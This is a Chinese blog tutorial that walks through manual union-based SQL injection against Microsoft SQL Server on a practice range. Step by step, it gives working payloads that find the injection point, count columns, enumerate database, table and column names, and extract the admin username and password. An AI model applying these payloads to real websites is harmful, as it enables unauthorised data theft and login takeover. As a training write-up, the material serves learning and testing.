手工注入——sql server (mssql)注入实战和分析
前言
首先要对sql server进行初步的了解。
常用的全部变量
@@version:返回当前的Sql server安装的版本、处理器体系结构、生成日期和操作系统。
@@servername:放回运行Sql server的本地服务器名称
top
在sql server,没有MySQL中的limit控制符,如果实现limit控制符功能则可以使用top进行代替。
正文
如果对方网站管理员没有关闭错误消息提示,那么
;declare @d int //判断sql server 支持多行语句查询
and (select count(1) from [sysobjects])>=0 //是否支持子查询
and user >0 //获取当前数据库用户名
and db_name>0 //获取当前数据库名称
and (select count(1) from [sysobjects])>=0 //当前数据库名
and 1=(select @@servername) //本地服务名
这里就不一一列举了。
如果网站管理员关闭了错误提示,那就只能使用联合查询和盲注了。下面的靶场实例就是关闭错误页面提示的情况下,通过联合查询获得管理员账号和密码。
判断注入点
通过观察,发现公告的地方可以进行尝试,如下图
点击公告,然后咱们 通过 and 1=1 和and 1=2 发现报错, 说明这里是注入点。如下图
判断字段数
通过 order by 语句,发现 order by 4 返回正常,order by 5 报错,说明存在四个字段数,如下图。
爆库
使用联合查询,需要注意的是,使用联合查询时需要前面不可查询,可以将参数2改为-2,也可以构造 and 1=2 两种方式都可以。为了避免出现错误,四个字段,都用 null 代替,构造如下语句
union all select null,null,unll,unll
然后用数字依次代替,判断回显位置,发现第二个字段显示在页面中,将第二个null 替换为 (select db_name()),具体语句为
union all select 1,(select db_name()), null, null
结果为下图,爆出了数据库
爆表
知道数据库名后,构造如下语句,爆出表名
union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null
结果如下图
爆字段
通过构造如下语句,可以爆出所有字段,
union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null
结果如下图
获取数据
通过构造如下语句
union all select 1,(select top 1 username from manage),null,null union all select 1,(select top 1 password from manage),null,null
结果如下图
解密,登陆。实战结束
sql server(mssql)手工注入总结
第一步,判断注入点。通过 and 1=1 和and 1=2 判断,发现存在注入点,且为数据型。
第二步,判断字段数 通过 order by 语句。
第三步,判断回显位置 通过 union all select null,null,unll,unll 用数字依次替换,发现,第二个位置回显到页面上。
第三步,爆库,通过 union all select 1,(select db_name()), null, null (使用联合查询时,要使得前面不可查询,所以将2改为-2)
第四步,爆表,通过 union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null
第五步,爆字段,通过 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null (变换后面得数字1,可以查询出所有字段)
第七步,获取数据,通过 union all select1, (select top 1 字段 from 表名),null,null
第八步,解密,登陆。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· DeepSeek 解答了困扰我五年的技术问题。时代确实变了!
· 本地部署DeepSeek后,没有好看的交互界面怎么行!
· 趁着过年的时候手搓了一个低代码框架
· 推荐一个DeepSeek 大模型的免费 API 项目!兼容OpenAI接口!